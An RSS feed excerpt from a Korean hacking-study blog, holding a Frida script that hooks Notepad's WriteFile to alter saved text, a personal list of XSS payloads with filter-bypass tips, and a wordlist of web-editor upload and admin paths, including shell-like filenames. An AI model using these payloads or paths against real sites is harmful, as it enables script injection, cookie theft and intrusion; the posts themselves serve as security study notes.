&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;Interceptor.attach(Module.findExportByName(null, &quot;WriteFile&quot;), {&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;onEnter: function (args) {&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;// Memory.protect - 권한 변경&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;// Memory.writeUtf8String&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;// Memory.readCString&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;var str2 = 'test';&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;Memory.protect(args[0], 1026, 'rwx');&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;var str1 = Memory.readCString(args[1]);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;//var result = str1.charAt(10);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;var result_substring = str1.substring(0,3);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;var result_substr = str1.substring(4,40);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;var result_all = result_substring + str2 + result_substr;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;Memory.writeUtf8String(args[1], result_all);&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;console.log(Memory.readCString(args[1]));&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;},&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;onLeave: function (retval) {&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;},&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;});&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;1.&amp;nbsp;frida를&amp;nbsp;이용하여&amp;nbsp;현재&amp;nbsp;메모장을&amp;nbsp;후킹하였습니다. &lt;br /&gt;(a.js&amp;nbsp;소스&amp;nbsp;파일) &lt;br /&gt;명령어&amp;nbsp;:&amp;nbsp;frida&amp;nbsp;-n&amp;nbsp;notepad.exe&amp;nbsp;-l&amp;nbsp;a.js&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qp6U0/btsrDDjGGEt/zVkrzT5rmwjenxyqVh0QJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qp6U0/btsrDDjGGEt/zVkrzT5rmwjenxyqVh0QJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qp6U0/btsrDDjGGEt/zVkrzT5rmwjenxyqVh0QJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqp6U0%2FbtsrDDjGGEt%2FzVkrzT5rmwjenxyqVh0QJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;979&quot; height=&quot;512&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;2.&amp;nbsp;a.log라는&amp;nbsp;실행&amp;nbsp;중인&amp;nbsp;메모장에&amp;nbsp;저장&amp;nbsp;기능을&amp;nbsp;실행하였습니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5Tn4b/btsrBZ8StwV/3k5yGa1IEIn3Cyu1Ct7xz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5Tn4b/btsrBZ8StwV/3k5yGa1IEIn3Cyu1Ct7xz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5Tn4b/btsrBZ8StwV/3k5yGa1IEIn3Cyu1Ct7xz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5Tn4b%2FbtsrBZ8StwV%2F3k5yGa1IEIn3Cyu1Ct7xz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;581&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;3.&amp;nbsp;저장&amp;nbsp;시&amp;nbsp;cmd에서&amp;nbsp;실행&amp;nbsp;결과&amp;nbsp;출력된&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o5tv8/btsrCmJt4nk/UhmwDgkGtosk5Ec2YLMbgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o5tv8/btsrCmJt4nk/UhmwDgkGtosk5Ec2YLMbgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o5tv8/btsrCmJt4nk/UhmwDgkGtosk5Ec2YLMbgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo5tv8%2FbtsrCmJt4nk%2FUhmwDgkGtosk5Ec2YLMbgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;979&quot; height=&quot;512&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step&amp;nbsp;4.&amp;nbsp;a.log&amp;nbsp;텍스트&amp;nbsp;파일을&amp;nbsp;다시&amp;nbsp;열었을&amp;nbsp;시&amp;nbsp;문자열&amp;nbsp;사이에&amp;nbsp;임의의&amp;nbsp;문자열(test)가&amp;nbsp;입력된&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cNR5gl/btsrBN8Jd83/U9YW1H3UD0ly7bYrvJemtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cNR5gl/btsrBN8Jd83/U9YW1H3UD0ly7bYrvJemtk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cNR5gl/btsrBN8Jd83/U9YW1H3UD0ly7bYrvJemtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcNR5gl%2FbtsrBN8Jd83%2FU9YW1H3UD0ly7bYrvJemtk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;581&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/모바일해킹문제</category>
      <category>Frida</category>
      <category>Interceptor</category>
      <category>Interceptor.attach</category>
      <category>메모장후킹</category>
      <category>모바일해킹</category>
      <category>모바일후킹</category>
      <category>프리다</category>
      <category>해킹</category>
      <category>해킹공부</category>
      <category>후킹</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/121</guid>
      <comments>https://geru.tistory.com/121#entry121comment</comments>
      <pubDate>Mon, 21 Aug 2023 09:00:41 +0900</pubDate>
    </item>
    <item>
      <title>[XSS] XSS구문 사용 중인 것</title>
      <link>https://geru.tistory.com/120</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;자주 사용하는 패턴 (구문을 응답소스코드에 맞춰서 사용)&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;1. &amp;lt;svg onmouseover=&quot;confirm(1)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;2. &amp;lt;SCRIPT&amp;gt;alert(document.cookie)&amp;lt;/SCRIPT&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;3. &quot;&amp;gt;&amp;lt;svg onload=&quot;alert(document.cookie)&quot;&amp;gt;.png&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;4. `;return false});});alert xss`;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;5. &amp;lt;img src=x onwheel=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;6. &quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;7. ['&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; onmouseover=&quot;confirm(document.cookie)&quot;style=&quot;height:1000px: width:1000px&quot; name=&quot;test[']&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;-&amp;gt; 맞춤 코드&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;10. &quot;svg/onload=&quot;confirm(document.cookie)&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;이벤트 핸들러로 뚫을때 주로 사용하는 구문 (alert가 막힌다면 confirm으로 뚫기)&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onwheel=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onclick=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onbblclick=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x ondrag=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x ondragend=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x ondragstart=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x ondragover=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x ondragdrop=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onerror=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onfocus=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onfocusin=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onfocusout=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onkeydown=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onkeypress=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onkeyup=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onload=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onmousedown=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onmouseenter=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onmouseover=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onmousemove=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onmouseover=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onmouseup=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onmousewheel=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onmousemove=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;lt;img src=x onscroll=&quot;alert(document.cookie)&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;</description>
      <category>공부/해킹공부</category>
      <category>XSS</category>
      <category>XSS 구문</category>
      <category>XSS구문모음</category>
      <category>크로스사이트스크립팅</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/120</guid>
      <comments>https://geru.tistory.com/120#entry120comment</comments>
      <pubDate>Mon, 14 Aug 2023 09:00:35 +0900</pubDate>
    </item>
    <item>
      <title>현재 사용하고 있는 Editor 샘플페이지</title>
      <link>https://geru.tistory.com/119</link>
      <description>&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;CHEditor&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/editor/popup/image.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/cheditor/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/core/editor/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/board/cheditor/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/js/cheditor/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/cheditor4/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/ko/cheditor4/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/cheditor5/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/cheditor/example/newpost.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/cheditor/example/modifiy.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/cheditor/example/multi.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/cheditor/imageUpload/upload.jsp&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;ckeditor&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/ckeditor/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/ckfinder/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/ckfinder/ckfinder.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/ckeditor/upload.jsp&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/ckeditor/_samples/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/ckeditor/samples/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/ckeditor/_samples/index.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/ckeditor/samples/index.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/skins/ckeditor/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/_sys/_plugin/cke&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;Namo CrossEditor&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/namo/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/namo/index.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/namo/manage/inde.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/crosseditor/manager/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/crosseditor/index.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/crosseditor/manage/index.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/crosseditor/manage/jsp/manage_setting.jsp&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/crosseditor/binary/upload/devshell.jsp&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/crosseditor/binary/upload/cmd.jspx&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/resources/crosseditor/index.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/resources/component/crosseditor/index.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;DaumEditor&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/daumeditor/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/_moduel/daumeditor/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/daumeditor/editor.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;dext5editor&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/DEXTUpload/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/dext5/&lt;/span&gt;&lt;/div&gt;
